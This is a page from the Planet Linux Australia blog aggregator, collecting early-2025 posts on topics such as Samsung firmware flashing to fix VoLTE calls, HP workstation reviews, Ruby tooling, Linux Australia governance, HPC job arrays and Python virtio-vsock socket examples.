Planet Linux Australia

Tuesday, 8 April 2025

Silvia PfeifferSWAY at RFWS using Coviu

A SWAY session by Joanne of Royal Far West School. http://sway.org.au/ via https://coviu.com/ SWAY is an oral language and literacy program based on Aboriginal knowledge, culture and stories. It has been developed by Educators, Aboriginal Education Officers and Speech Pathologists at the Royal Far West School in Manly, NSW.

Category: Array
Uploaded by: Silvia Pfeiffer
Hosted: youtube

The post SWAY at RFWS using Coviu first appeared on ginger's thoughts.

Silvia PfeifferSilvia Pfeiffer Live Stream

Silvia PfeifferPARADISEC catalog for Users

This screencast shows how a user of the PARADISEC catalog logs in and explores the collections, items and files that the archive contains.

Category: 2
Uploaded by: Silvia Pfeiffer
Hosted: youtube

The post PARADISEC catalog for Users first appeared on ginger's thoughts.

Silvia PfeifferPARADISEC catalog for Collectors

Screencast of how to use the PARADISEC catalog for managing and publishing collections.

Category: 2
Uploaded by: Silvia Pfeiffer
Hosted: youtube

The post PARADISEC catalog for Collectors first appeared on ginger's thoughts.

Silvia PfeifferPARADISEC catalog for Administrators

Screencast of how a PARADISEC administrator uses the PARADISEC catalog for managing the consistency of metadata and staying on top of uploaded files.

Category: 2
Uploaded by: Silvia Pfeiffer
Hosted: youtube

The post PARADISEC catalog for Administrators first appeared on ginger's thoughts.

Sunday, 6 April 2025

Tim SerongI should probably consider upgrading my phone

My wife and I were with Optus for our mobile phone service since approximately the dawn of time, but recently decided to switch to another provider. We’d become less happy with Optus over the last few years after a data breach in 2022, an extended outage in 2023, and – most personally irritating – with them increasing the price of our plan despite us being under contract. Yes, I know the contract says they’re allowed to do that given 30 days notice, but they never used to do that. If you signed up for a $45 per month (or whatever) plan for two years, that’s what you paid per month for the duration. Not anymore. To their credit, when my wife lodged a complaint about this, they did end up offering us a 10% discount on our bill for the next 24 months, which effectively brought us back to the previous pricing, but we still maintain this practice just isn’t decent, dammit.

The question was: which provider to switch to? There are three networks in Australia – Telstra, Optus and Vodafone, so you either go with one of them, or with someone who’s reselling services on one of those networks. We already have a backup pre-paid phone with Telstra for emergencies, and so preferred the idea of continuing our main service on some other network for the sake of redundancy. iiNet (our ISP) repeatedly sent us email about nice cheap mobile services, but they were reselling Vodafone, and we’d always heard Vodafone had the worst coverage in regional Australia so we initially demurred. A few weeks ago though, iiNet told us they’d doubled their network coverage. It turns out this is due to TPG (iiNet and Vodafone’s parent) striking a deal with Optus for mutual network access. This all sounded like a good deal, so we ran with it. We received a new SIM each in the mail, so all we needed to do was log in to the iiNet toolbox website, receive a one time-code via SMS to confirm the SIM port, then put the new SIM in each of our phones, power cycle them and wait to connect. We decided to do one phone at a time lest we be left with no service if anything went wrong. I did my phone first, and something did indeed go wrong.

After doing the SIM activation dance, my phone – an aging Samsung Galaxy A8 4G which Optus had given me on a two year contract back in 2018 – said it was connected to iiNet. Mobile data worked. SMS worked. But I could not make or receive calls. Anyone I tried to call, the phone said “calling…” but there was no sound of a phone ringing, and eventually it just went >clunk< “call ended”. Incoming calls went straight to voicemail, which of course I could not access. Not knowing any better I figured maybe it was a SIM porting issue and decided to ignore it for a day in the hope that it would come good with time. Forty-eight hours later I realised time wasn’t working, so called iiNet support using this thing:

An old wired telephone handset
Inscribed on the back is “This phone remains the property of Telecom Australia”.

The extremely patient and courteous Jinky from iiNet support walked me through restarting my phone and re-inserting the SIM (which of course I’d already done), and resetting the network settings (which I hadn’t). She also did a network reset at their end, but I still couldn’t make or receive calls. Then she asked me to try the SIM in another handset, so I swapped it into our backup Telstra handset (a Samsung Galaxy S8), and somewhat to our surprise that worked fine. We double checked my handset model (SM-A530F) against the approved devices list, and it’s there, so it should have worked in my handset too… Alas, because we’d demonstrated that the SIM did work in another handset, there was nothing further Jinky could do for me other than suggest using a different handset, or finding a technician to help figure out what was wrong with my Galaxy A8.

After a lot of irritating searching I found a post on Whirlpool from someone who was having trouble making and receiving calls with their Galaxy A8 after the 3G network shutdown in late 2024. The interesting thing here was that they were using an Optus-branded but unlocked phone, with a Testra SIM. With that SIM, they couldn’t make or receive calls, but with an Optus SIM, they could. This sounded a lot like my case, just substitute “iiNet SIM” for “Testra SIM”. The problem seemed to be something to do with VoLTE settings? or flags? or something? That are somehow carrier dependent? And the solution was allegedly to partially re-flash the handset’s firmware – the CSC, or Country Specific Code bits – with generic Samsung binaries.

So I dug around a bit more. This post from Aral Balkan about flashing stock firmware onto a Galaxy S9+ using the heimdall firmware flashing tool on Ubuntu Linux was extremely enlightening. The Samsung Updating Firmware Guide on Whirlpool helpfully included a very important detail about flashing this stuff:

  • Use CSC_*** if you want to do a clean flash or
  • HOME_CSC_*** if you want to keep your apps and data. <== MOST PEOPLE USE THIS

The next question was: where do I get the firmware from? Samsung have apparently made it extremely difficult to obtain arbitrary firmware images directly from them – they’re buried somewhere in encrypted form on Samsung’s official update servers, so I ended up using samfw.com. I downloaded the OPS (Optus), VAU (Vodafone) and XSA (unbranded) firmware archives, matching the version currently on my phone, extracted them, then compared them to each other. The included archives for AP (System &Recovery), BL (Bootloader) and CP (Modem / Radio) were all identical. The CSC (Country / Region / Operator) and HOME_CSC files were different in each case. These are the ones I wanted, and the only ones I needed to flash. So, as described in the previously linked posts, here’s what I ended up doing:

  • Installed heimdall on my openSUSE laptop.
  • Extracted the HOME_CSC files (cache.img and hidden.img) from the XSA firmware archive.
  • Plugged my phone into my laptop, and rebooted the phone while somehow managing to hold down all three volume up, volume down and power buttons to get it into Download mode.
  • Ran heimdall flash --CACHE cache.img --HIDDEN hidden.img and waited in terror for my handset to be bricked.

The procedure worked perfectly. VoLTE – which wasn’t previously active on my phone – now was, and I could make and receive calls. VoLTE stands for Voice over Long-Term Evolution, and is the communications standard for making voice calls on a 4G mobile network.

It was at this point that the woefully untrained infosec goblin who inhabits part of my brainstem began gibbering in panic. Something along the lines of “what the hell are you doing installing allegedly Samsung firmware from a web site you found listed in a random forum post on the internet?!?”

I believed from everything I’d read so far that samfw.com was reputable, but of course I had to double-check. After an awful lot of screwing around on a Windows virtual machine with a combination of SamFirm_Reborn (which could download Samsung firmware once I tweaked SamFirm.exe.config to not require a specific .NET runtime, but couldn’t decrypt it due presumably to that missing .NET runtime), and SamFirm (which can’t download the firmware due to Samsung changing their API to need a serial number or IMEI, but could decrypt what I’d downloaded separately with SamFirm_Reborn), I was able to confirm that the firmware I’d downloaded previously does in fact match exactly what Samsung themselves make available. So I think I’m good.

The SIM activation dance on my wife’s phone – a rather newer Samsung Galaxy S21 Ultra 5G – went without a hitch.

Saturday, 5 April 2025

Russell CokerHP z840

Many PCs with DDR4 RAM have started going cheap on ebay recently. I don’t know how much of that is due to Windows 11 hardware requirements and how much is people replacing DDR4 systems with DDR5 systems.

I recently bought a z840 system on ebay, it’s much like the z640 that I recently made my workstation [1] but is designed strictly as a 2 CPU system. The z640 can run with 2 CPUs if you have a special expansion board for a second CPU which is very expensive on eBay and and which doesn’t appear to have good airflow potential for cooling. The z840 also has a slightly larger case which supports more DIMM sockets and allows better cooling.

The z640 and z840 take the same CPUs if you use the E5-2xxx series of CPU that is designed for running in 2-CPU mode. The z840 runs DDR4 RAM at 2400 as opposed to 2133 for the z640 for reasons that are not explained. The z840 has more PCIe slots which includes 4*16x slots that support bifurcation.

The z840 that I have has the HP Z-Cooler [2] installed. The coolers are mounted on a 45 degree angle (the model depicted at the right top of the first page of that PDF) and the system has a CPU shroud with fans that mount exactly on top of the CPU heatsinks and duct the hot air out without going over other parts. The technology of the z840 cooling is very impressive. When running two E5-2699A CPUs which are listed as “145W typical TDP” with all 44 cores in use the system is very quiet. It’s noticeably louder than the z640 but is definitely fine to have at your desk. In a typical office you probably wouldn’t hear it when it’s running full bore. If I was to have one desktop PC or server in my home the z840 would definitely be the machine I choose for that.

I decided to make the z840 a build server to share the resource with friends and to use for group coding projects. I often have friends visit with laptops to work on FOSS stuff and a 44 core build server is very useful for that.

The system is by far the fastest system I’ve ever owned even though I don’t have fast storage for it yet. But 256G of RAM allows enough caching that storage speed doesn’t matter too much.

Here is building the SE Linux “refpolicy” package on the z640 with E5-2696 v3 CPU and the z840 with two E5-2699A v4 CPUs:

257.10user 47.18system 1:40.21elapsed 303%CPU (0avgtext+0avgdata 416408maxresident)k
66904inputs+1519912outputs (74major+8154395minor)pagefaults 0swaps

222.15user 24.17system 1:13.80elapsed 333%CPU (0avgtext+0avgdata 416192maxresident)k
5416inputs+0outputs (64major+8030451minor)pagefaults 0swaps

Here is building Warzone2100 on the z640 and the z840:

6887.71user 178.72system 16:15.09elapsed 724%CPU (0avgtext+0avgdata 1682160maxresident)k
1555480inputs+8918768outputs (114major+27133734minor)pagefaults 0swaps

6055.96user 77.05system 8:00.20elapsed 1277%CPU (0avgtext+0avgdata 1682100maxresident)k
117640inputs+0outputs (46major+11460968minor)pagefaults 0swaps

It seems that the refpolicy package can’t use many more than 18 cores as it is only 37% faster when building with 44 cores available. Building Warzone is slightly more than twice as fast so it can really use all the available cores. According to Passmark the E5-2699A v4 is 22% faster than the E5-2696 v3.

I highly recommend buying a z640 if you see one at a good price.

Russell CokerMore About the HP ML110 Gen9 and z640

In May 2021 I bought a ML110 Gen9 to use as a deskside workstation [1]. I started writing this post in April 2022 when it had been my main workstation for almost a year. While this post was in a draft state in Feb 2023 I upgraded it to an 18 core E5-2696 v3 CPU [2]. It’s now March 2025 and I have replaced it.

Hardware Issues

My previous state with this was not having adequate cooling to allow it to boot and not having a PCIe power cable for a video card. As an experiment I connected the CPU fan to the PCIe fan power and discovered that all power and monitoring wires for the CPU and PCIe fans are identical. This allowed me to buy a CPU fan which was cheaper ($26.09 including postage) and easier to obtain than a PCIe fan (presumably due to CPU fans being more commonly used and manufactured in larger quantities). I had to be creative in attaching the CPU fan as it’s cable wasn’t long enough to reach the usual location for a PCIe fan. The PCIe fan also required a baffle to direct the air to the right place which annoyingly HP apparently doesn’t ship with the low end servers, so I made one from a Corn Flakes packet and duct tape.

The Wikipedia page listing AMD GPUs lists many newer ones that draw less than 80W and don’t need a PCIe power cable. I ordered a Radeon RX560 4G video card which cost $246.75. It only uses 8 lanes of PCIe but that’s enough for me, the only 3D game I play is Warzone 2100 which works well at 4K resolution on that card. It would be really annoying if I had to just spend $246.75 to get the system working, but I had another system in need of a better video card which had a PCIe power cable so the effective cost was small. I think of it as upgrading 2 systems for $123 each.

The operation of the PCIe video card was a little different than non-server systems. The built in VGA card displayed the hardware status at the start and then kept displaying that after the system had transitioned to PCIe video. This could be handy in some situations if you know what it’s doing but was confusing initially.

Booting

One insidious problem is that when booting in “legacy” mode the boot process takes an unreasonably long time and often hangs, the UEFI implementation on this system seems much more reliable and also supports booting from NVMe.

Even with UEFI the boot process on this system was slow. Also the early stage of the power on process involves fans being off and the power light flickering which leads you to think that it’s not booting and needs to have the power button pressed again – which turns it off. The Dell power on sequence of turning most LEDs on and instantly running the fans at high speed leaves no room for misunderstanding. This is also something that companies making electric cars could address. When turning on a machine you should never be left wondering if it is actually on.

Noise

This was always a noisy system. When I upgraded the CPU from an 8 core with 85W “typical TDP” to an 18 core with 145W “typical TDP” it became even louder. Then over time as dust accumulated inside the machine it became louder still until it was annoyingly loud outside the room when all 18 cores were busy.

Replacement

I recently blogged about options for getting 8K video to work on Linux [3]. This requires PCIe power which the z640s have (all the ones I have seen have it I don’t know if all that HP made have it) and which the cheaper models in the ML-110 line don’t have. Since then I have ordered an Intel Arc card which apparently has 190W TDP. There are adaptors to provide PCIe power from SATA or SAS power which I could have used, but having a E5-2696 v3 CPU that draws 145W [4] and a GPU that draws 190W [4] in a system with a 350W PSU doesn’t seem viable.

I replaced it with one of the HP z640 workstations I got in 2023 [5].

The current configuration of the z640 has 3*32G RDIMMs compared to the ML110 having 8*32G, going from 256G to 96G is a significant decrease but most tasks run well enough like that. A limitation of the z640 is that when run with a single CPU it only has 4 DIMM slots which gives a maximum of 512G if you get 128G LRDIMMs, but as all DDR4 DIMMs larger than 32G are unreasonably expensive at this time the practical limit is 128G (which costs about $120AU). In this case I have 96G because the system I’m using has a motherboard problem which makes the fourth DIMM slot unusable. Currently my desire to get more than 96G of RAM is less than my desire to avoid swapping CPUs.

At this time I’m not certain that I will make my main workstation the one that talks to an 8K display. But I really want to keep my options open and there are other benefits.

The z640 boots faster. It supports PCIe bifurcation (with a recent BIOS) so I now have 4 NVMe devices in a single PCIe slot. It is very quiet, the difference is shocking. I initially found it disconcertingly quiet.

The biggest problem with the z640 is having only 4 DIMM sockets and the particular one I’m using has a problem limiting it to 3. Another problem with the z640 when compared to the ML110 Gen9 is that it runs the RAM at 2133 while the ML110 runs it at 2400, that’s a significant performance reduction. But the benefits outweigh the disadvantages.

Conclusion

I have no regrets about buying the ML-110. It was the only DDR4 ECC system that was in the price range I wanted at the time. If I knew that the z640 systems would run so quietly then I might have replaced it earlier. But it was only late last year that 32G DIMMs became affordable, before then I had 8*16G DIMMs to give 128G because I had some issues of programs running out of memory when I had less.

Monday, 31 March 2025

Russell CokerLinks March 2025

Anarcat’s review of Fish is interesting and shows some benefits I hadn’t previously realised, I’ll have to try it out [1].

Longnow has an insightful article about religion and magic mushrooms [2].

Brian Krebs wrote an informative artivle about DOGE and the many security problems that it has caused to the US government [3].

Techdirt has an insightful article about why they are forced to become a democracy blog after the attacks by Trump et al [4].

Antoine wrote an insightful blog post about the war for the Internet and how in many ways we are losing to fascists [5].

Interesting story about people working for free at Apple to develop a graphing calculator [6]. We need ways for FOSS people to associate to do such projects.

Interesting YouTube video about a wiki for building a cheap road legal car [7].

Interesting video about powering spacecraft with Plutonion 238 and how they are running out [8].

Interesting information about the search for mh370 [9]. I previously hadn’t been convinced that it was hijacked but I am now.

The EFF has an interesting article about the Rayhunter, a tool to detect cellular spying that can run with cheap hardware [10].

  • [1] https://anarc.at/blog/2025-02-28-fish/
  • [2] https://longnow.org/ideas/is-god-a-mushroom/
  • [3] https://tinyurl.com/27wbb5ec
  • [4] https://tinyurl.com/2cvo42ro
  • [5] https://anarc.at/blog/2025-03-21-losing-war-internet/
  • [6] https://www.pacifict.com/story/
  • [7] https://www.youtube.com/watch?v=x8jdx-lf2Dw
  • [8] https://www.youtube.com/watch?v=geIhl_VE0IA
  • [9] https://www.youtube.com/watch?v=HIuXEU4H-XE
  • [10] https://tinyurl.com/28psvpx7
  • Monday, 24 March 2025

    BlueHackersUnderstanding and responding to hunger and thirst signals by neuro-divergent people

    Neuro-divergence, encompassing conditions such as autism spectrum, ADHD, and sensory processing, can profoundly influence how individuals perceive and respond to their bodily signals.

    While neurotypical individuals generally recognise and respond to hunger, thirst, and satiety cues with relative ease, neuro-divergent individuals often face unique challenges in this area. Understanding these challenges is crucial for fostering empathy and supporting effective strategies for well-being.

    This article is written so it is directly readable and useful (in terms of providing action items) for people in your immediate surroundings, but naturally it can be directly applied by neuro-spicy people themselves!

    Hunger and Thirst Cues

    For many neuro-divergent people, recognising hunger and thirst cues can be a complex task. These signals, which manifest as subtle physiological changes, might not be as easily identifiable or may be misinterpreted.

    For instance, someone on the spectrum might not feel hunger as a straightforward sensation in the stomach but instead experience it as irritability or a headache. Similarly, those with ADHD may become so hyper-focused on tasks that they overlook or ignore feelings of hunger and thirst entirely.

    Sensory Processing and Signal Translation

    Sensory processing issues can further complicate the interpretation of bodily signals. Neuro-divergent individuals often experience heightened or diminished sensory perception.

    This variability means that sensations like hunger pangs or a dry mouth might be either too intense to ignore or too faint to detect. The result is a disconnection from the body’s natural cues, leading to irregular eating and drinking habits.

    Satiety and Fullness

    Recognising satiety and fullness presents another layer of difficulty. For neuro-divergent individuals, the brain-gut communication pathway might not function in a typical manner.

    This miscommunication can lead to difficulties in knowing when to stop eating, either due to a delayed recognition of fullness or because the sensory experience of eating (such as the textures and flavours of food) becomes a primary focus rather than the physiological need.

    Emotional and Cognitive Influences

    Emotions and cognitive patterns also play significant roles. Anxiety, a common experience among neuro-divergent individuals, can mask hunger or thirst cues, making it harder to recognise and respond appropriately.

    Additionally, rigid thinking patterns or routines, often seen with autism spectrum, might dictate eating schedules and behaviours more than actual bodily needs.

    Strategies for Support

    Understanding these challenges opens the door to effective strategies and support mechanisms:

    1. Routine and structure: Establishing regular eating and drinking schedules can help bypass the need to rely on internal cues. Setting alarms or reminders can ensure that meals and hydration are not overlooked.
    2. Mindful eating practices: Encouraging mindful eating, where individuals pay close attention to the sensory experiences of eating and drinking, can help in recognising subtle signals of hunger and fullness.
    3. Sensory-friendly options: Offering foods and beverages that align with an individual’s sensory preferences can make the experience of eating and drinking more enjoyable and less overwhelming. This is a really important aspect!
    4. Environmental adjustments: Creating a calm, distraction-free eating environment can help individuals focus more on their bodily cues rather than external stimuli.
    5. Education and awareness: Educating neuro-divergent individuals about the importance of regular nourishment and hydration, and how their unique experiences might affect this, can empower them to develop healthier habits. This is, of course, more a longer term strategy.

    Understanding the complex interplay between neuro-divergence and bodily signals underscores the importance of personalised approaches and compassionate support.

    By acknowledging and addressing these challenges, we can help neuro-divergent individuals achieve better health and well-being!

    The post Understanding and responding to hunger and thirst signals by neuro-divergent people first appeared on BlueHackers.org.

    Sunday, 23 March 2025

    Tim Riley Goodbye Pinboard, hello Linkding! (And the magic of getting here)

    Let me tell you about one of the best software experiences I’ve had in recent times.

    But first, some background. I’ve always been a bookmark collector. There are so many cool or informative things on the web, and I want to be able to find my way back to them. Since 2007 (18 years!), I’ve collected over 4,500 bookmarks.

    I first captured these bookmarks on del.icio.us (RIP), then later on Pinboard. Both were good tools: fast, low fuss, and oriented around tags, for easy organisation and retrieval of links.

    Then Pinboard guy turned out to be a transphobe, so I knew I had to switch.

    The time finally came last week, when I had a spare hour at the computer one evening. The obvious commercial replacement for Pinboard is Raindrop, which looks polished and fantastically full featured. But it felt a little too full-featured for me. My needs are simple (just bookmarks, tags, and a bookmarklet for input), and I wanted a tool that hewed closer to that.

    I was tempted to follow this ingenious approach from Ben Sheldon, creating bookmarks one-per-file in a GitHub repo, via GitHub Actions, but that seemed a little too stripped back. I would have needed to build my own browse and search layer on top.

    Then that I had my Goldilocks moment. I found this Reddit thread, which pointed me at Linkding: a “self-hosted bookmark manager designed be to be minimal, fast, and easy to set up.” It was remarkably reminiscent of everything I loved from del.icio.us and Pinboard. Just right!

    But this was self-hosted software. As a professional software developer, I happen to deeply allergic to running my own hobby servers. Fortunately, Linkding’s docs point to a few managed hosting options, and that’s how I came to find PikaPods.

    Friends, this is where the magic comes in. PikaPods is amazing.

    It’s a kind of hosting service I’d never come across before: hosting oriented around open source apps.

    Within five minutes, I was up and running with Linkding. It was all so streamlined. All it took was a couple of clicks and me providing a default Linkding username/password. Importing my 18 years of bookmarks was a breeze.

    Even better, since Linkding is a low-resource service that I run for me alone, it costs only 2 dollarbucks a month! PikaPods’ free $5 starter credit didn’t hurt, either.

    PikaPods will take care of everything for me, from service updates to backups (it supports any S3-compatible backend).

    Linkding itself is great. It’s incredibly fast and intuitive. It fits my needs perfectly. I couldn’t have asked for more.

    So if you’re interested in seeing what I bookmark, check out bookmarks.timriley.info.

    After the magic of getting here, I feel a little frisson of joy every time I bookmark something new.

    If you’re still on Pinboard and are looking for something better, I encourage you to give Linkding and PikaPods a try.

    Friday, 21 March 2025

    Tim Riley Auto-generating frozen_string_literal comments with RuboCop

    So here I am, commencing the year 2025 in the Common Era, and almost too late, but I was finally bothered enough by typing # frozen_string_literal: true that I figured out how to make RuboCop autocorrect this straight in my editor.

    You see, RuboCop won’t do this by default, because it considers its Style/FrozenStringLiteralComment cop to be unsafe:

    This cop’s autocorrection is unsafe since any strings mutations will change from being accepted to raising FrozenError, as all strings will become frozen by default, and will need to be manually refactored.

    When you have your editor configured to autocorrect with RuboCop, it will only apply autocorrections it deems safe (i.e. rubocop -a, not rubocop -A). 

    But when I’m working on my own projects, I consider this to be safe enough for me! I don’t always mutate strings, but when I do, I construct them intentionally +"as matz intended".

    This means I’m happy for this cop to autocorrect for me. And if it results in an unexpected FrozenError, then this is useful feedback!

    Now I’m no stranger to a good long .rubocop.yml, but what I learnt is that inside this config, you can also override RuboCop’s default opinion about a cop’s autocorrection safety!

    So with no further ado (and there has been much ado, I know), what you need is this:

    Style/FrozenStringLiteralComment:
      Enabled: true
      EnforcedStyle: always_true
      SafeAutoCorrect: true

    With this in place, and with an editor configured to apply RuboCop autocorrections on safe (if you’re using the ruby-lsp, for example), now you can just write your glorious Ruby, hit ⌘+s, and suddenly a # frozen_string_literal: true will appear! 🎉

    I now get a small frisson of excitement every time I need a new file. 💖 I’ll continue to enjoy this small victory until the day comes when we can bid goodbye to this magic comment altogether!

    Wednesday, 19 March 2025

    Linux AustraliaNotice of Special General Meeting for Linux Australia

    We hereby announce that a Special General Meeting of Linux Australia will be held on Wednesday 9 April 2025. At this meeting a special resolution will be tabled to adopt a new constitution, in response to updated requirements from the Australian Taxation Office for not-for-profit organisations.

    Details of the meeting:

    The special resolution to be voted on at this special general meeting is as follows:

    That the complete constitution, as set out within the constitution.md file at https://github.com/linuxaustralia/constitution_and_policies/pull/47/files, be adopted.

    Why is this new constitution being proposed?

    As is discussed on the pull request above, the Australian Taxation Office requires us to fill out a Not-For-Profit self assessment. As part of this, Question 3 asks “Does the organisation have and follow clauses in its governing documents that prohibit the distribution of income or assets to members while it is operating and winding up?”. Our current constitution does not contain such a clause, which means we have until 30 June 2025 to update our governing documents to include such a clause, to continue being a Not-For-Profit organisation.

    Linux Australia is currently classified as a Not-For-Profit organisation. We wish to retain this status, to ensure we can continue to operate as we have done since the organisation was founded. Therefore we are proposing to adopt an updated constitution which includes the necessary clauses to meet the Not-For-Profit self assessment requirements, and keep the organisation running in line with the latest regulations for New South Wales Incorporated Associations.

    Please note that we are using Zoom for this meeting so we are able to verify members for voting purposes, as well as to ensure video and audio stability during the meeting. From our usage of open source video conference tooling over the past year, we unfortunately encounter instability with large numbers of attendees, which is not something we can afford to occur for a meeting of this nature.

    The post Notice of Special General Meeting for Linux Australia appeared first on Linux Australia.

    Monday, 17 March 2025

    Lev LafayetteScheduler Parallelisation

    The standard computing model uses unithreaded instructions and data with automation through looping and conditional branching. Automation is encouraged as it results in the computer doing the work that it is designed for. However, this can be inefficient when using a multicore system. An alternative in HPC systems is to make use of job arrays, which use a job to allocate resources to sub-jobs which can be individually controlled, whether directed toward instruction sets or datasets. Further, job arrays can be combined with job dependencies, allowing for conditional chains of job submission and runs. Finally, job arrays can be simulated through the use of heredocs with looped submission. This may even allow more familiar control with shell scripting.

    This slidedeck is derived from a presentation to the Univerity of Melbourne's "Spartan Champions" group on March 7, 2025.

    https://levlafayette.com/files/2025Champions_Arrays.pdf

    Tim Riley Look at all the things I’m not writing

    As leader of a Ruby project, I know I represent that project even here on my personal blog.

    With Hanami, we’ve spent the last 10 years building not just a set of tools, but also a community. We’re friendly and inclusive. Our community values are now, and will always be, at the centre of what we do. They are the same values I live.

    Our community values

    We want you to have a great time in the Hanami community! We welcome people of all backgrounds, genders and experience levels, and respect you all equally.

    We do not tolerate nazis, transphobes, racists, or any kind of bigotry. See our code of conduct for more.

    So, I invite you to read this blog. Look at all the things I’m not writing!

    Sunday, 16 March 2025

    Russell CokerArticle Recommendations via FOSS

    Google tracking everything we read is bad, particularly since Google abandoned the “don’t be evil” plan and are presumably open to being somewhat evil.

    The article recommendations on Chrome on Android are useful and I’d like to be able to get the same quality of recommendations without Google knowing about everything I read. Ideally without anything other than the device I use knowing what interests me.

    A ML system to map between sources of news that are of interest should be easy to develop and run on end user devices. The model could be published and when given inputs of articles you like give an output of sites that contain other articles you like. Then an agent on the end user system could spider the sites in question and run a local model to determine which articles to present to the user.

    Mapping for hate following is possible for such a system (Google doesn’t do that), the user could have 2 separate model runs for regular reading and hate-following and determine how much of each content to recommend. It could also give negative weight to entries that match the hate criteria.

    Some sites with articles (like Medium) give an estimate of reading time. An article recommendation system should have a fixed limit of articles (both in articles and in reading time) to support the “I spend half an hour reading during lunch” model not doom scrolling.

    For getting news using only FOSS it seems that the best option at the moment is to use the Lemmy FOSS social network which is like Reddit [1] to recommend articles etc.

    The Lemoa client for Lemmy uses GTK [2] but it’s no longer maintained. The Lemonade client for Lemmy is written in Rust [3]. It would be good if one of those was packaged for Debian, preferably one that’s maintained.

    Saturday, 15 March 2025

    Simon LyallAudiobooks – February 2025

    The Nvidia Way: Jensen Huang and the Making of a Tech Giant by Tae Kim

    A history of Jensen Huang and Nvidia. Easy to follow and interesting. 4/5

    The Hobbit by J. R. R. Tolkien

    Another listen of the Serkis version. Once again I’m mostly okay with his reading, although I prefer Inglis’ 4/5

    My Audiobook Scoring System

    • 5/5 = Brilliant, top 5 book of the year
    • 4/5 = Above average, strongly recommend
    • 3/5 = Average. in the middle 70% of books I read
    • 2/5 = Disappointing
    • 1/5 = Did not like at all

    Share

    Monday, 10 March 2025

    Michael Stillvirtio-vsock: python examples of running the server in the guest

    I’ve been using virtio-serial for communications between Linux hypervisors and guest virtual machines for ages. Lots of other people do it to — the qemu guest agent for example is implemented like this. In fact, I think that’s where I got my original thoughts on the matter from. However, virtio-serial is actually fairly terrible to write against as a programming model, because you’re left to do all the multiplexing of various requests down the channel and surely there’s something better?

    Well… There is! virtio-vsock is basically the same concept, except it uses the socket interface. You can have more than one connection open and the sockets layer handles multiplexing by magic. This massively simplifies the programming model for supporting concurrent users down the channel. So that’s actually pretty cool. I should credit Kata Containers with noticing this quality of life improvement nearly a decade before I did, but I get there in the end.

    The virtio-vsock model is only a little bit weird. The “address” for the guest virtual machine is a “CID” (Context ID). The hypervisor process is always at CID 0, CID 1 is reserved and unused, and CID 2 is any process on the host which is not the hypervisor. You can also use port numbers like you would with IP, which means you can have multiple services down a single vsock channel if you’d like. I haven’t looked deeply into the history of vsock, but pages like this one make me think it originated with VMWare.

    So let’s write some code. All of the examples I could find (this gist, or the page linked in the previous paragraph) have the server on the host, and then the client being inside the guest virtual machine, but I want the exact opposite. It wasn’t as hard as I thought it would be to figure out, especially once I found this very helpful gist about how to lookup the CID from inside the guest virtual machine.

    (As an aside, my life would be much worse if github took the gist feature offline. There is so much useful random stuff out there in gists.)

    So here’s our server, which runs inside the virtual machine:

    import fcntl
    import socket
    import struct
    
    
    PORT = 1025
    
    
    # Lookup our CID. This is a 32 bit unsigned int returned from an ioctl
    # against /dev/vsock. As best as I can tell the empty string argument
    # at the end is because that is used as a buffer to return the result
    # in. Yes really.
    with open('/dev/vsock', 'rb') as f:
        r = fcntl.ioctl(f, socket.IOCTL_VM_SOCKETS_GET_LOCAL_CID, '    ')
        cid = struct.unpack('I', r)[0]
    print(f'Our CID is {cid}.')
    
    
    s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
    s.bind((cid, PORT))
    s.listen()
    
    conn, (remote_cid, remote_port) = s.accept()
    print(f'Connection from {remote_cid} on with remote port {remote_port}')
    
    while True:
        buf = conn.recv(1024)
        print(f' in: {buf}')
        if not buf:
            print('Nothing received, exiting')
            break
    
        print(f'out: {buf}')
        conn.sendall(buf)
    
    conn.close()
    print('Done')

    And here’s our client, which runs on the host OS. Note that the CID is hard coded here because I specified it when I created the virtual machine, it just happens to be my favorite 32 bit unsigned integer:

    import socket
    
    CID = 347338050
    PORT = 1025
    STRINGS = [
        b'Hello World!',
        b'Banana',
        b'Duck'
    ]
    
    s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
    s.connect((CID, PORT))
    
    for out in STRINGS:
        s.sendall(out)
        print(f'out: {out}')
    
        buf = s.recv(1024)
        if not buf:
            print('Nothing received, exiting')
            break
        print(f' in: {buf}')
    
    s.close()
    print('Done')

    And that’s that. I hope this helps someone.

    Thursday, 6 March 2025

    Russell Coker8k Video Cards

    I previously blogged about getting an 8K TV [1]. Now I’m working on getting 8K video out for a computer that talks to it. I borrowed an NVidia RTX A2000 card which according to it’s specs can do 8K [2] with a mini-DisplayPort to HDMI cable rated at 8K but on both Windows and Linux the two highest resolutions on offer are 3840*2160 (regular 4K) and 4096*2160 which is strange and not useful.

    The various documents on the A2000 differ on whether it has DisplayPort version 1.4 or 1.4a. According to the DisplayPort Wikipedia page [3] both versions 1.4 and 1.4a have a maximum of HBR3 speed and the difference is what version of DSC (Display Stream Compression [4]) is in use. DSC apparently causes no noticeable loss of quality for movies or games but apparently can be bad for text. According to the DisplayPort Wikipedia page version 1.4 can do 8K uncompressed at 30Hz or 24Hz with high dynamic range. So this should be able to work.

    My theories as to why it doesn’t work are:

    • NVidia specs lie
    • My 8K cable isn’t really an 8K cable
    • Something weird happens converting DisplayPort to HDMI
    • The video card can only handle refresh rates for 8K that don’t match supported input for the TV

    To get some more input on this issue I posted on Lemmy, here is the Lemmy post [5]. I signed up to lemmy.ml because it was the first one I found that seemed reasonable and was giving away free accounts, I haven’t tried any others and can’t review it but it seems to work well enough and it’s free. It’s described as “A community of privacy and FOSS enthusiasts, run by Lemmy’s developers” which is positive, I recommend that everyone who’s into FOSS create an account there or some other Lemmy server.

    My Lemmy post was about what video cards to buy. I was looking at the Gigabyte RX 6400 Eagle 4G as a cheap card from a local store that does 8K, it also does DisplayPort 1.4 so might have the same issues, also apparently FOSS drivers don’t support 8K on HDMI because the people who manage HDMI specs are jerks. It’s a $200 card at MSY and a bit less on ebay so it’s an amount I can afford to risk on a product that might not do what I want, but it seems to have a high probability of getting the same result. The NVidia cards have the option of proprietary drivers which allow using HDMI and there are cards with DisplayPort 1.4 (which can do 8K@30Hz) and HDMI 2.1 (which can do 8K@50Hz). So HDMI is a better option for some cards just based on card output and has the additional benefit of not needing DisplayPort to HDMI conversion.

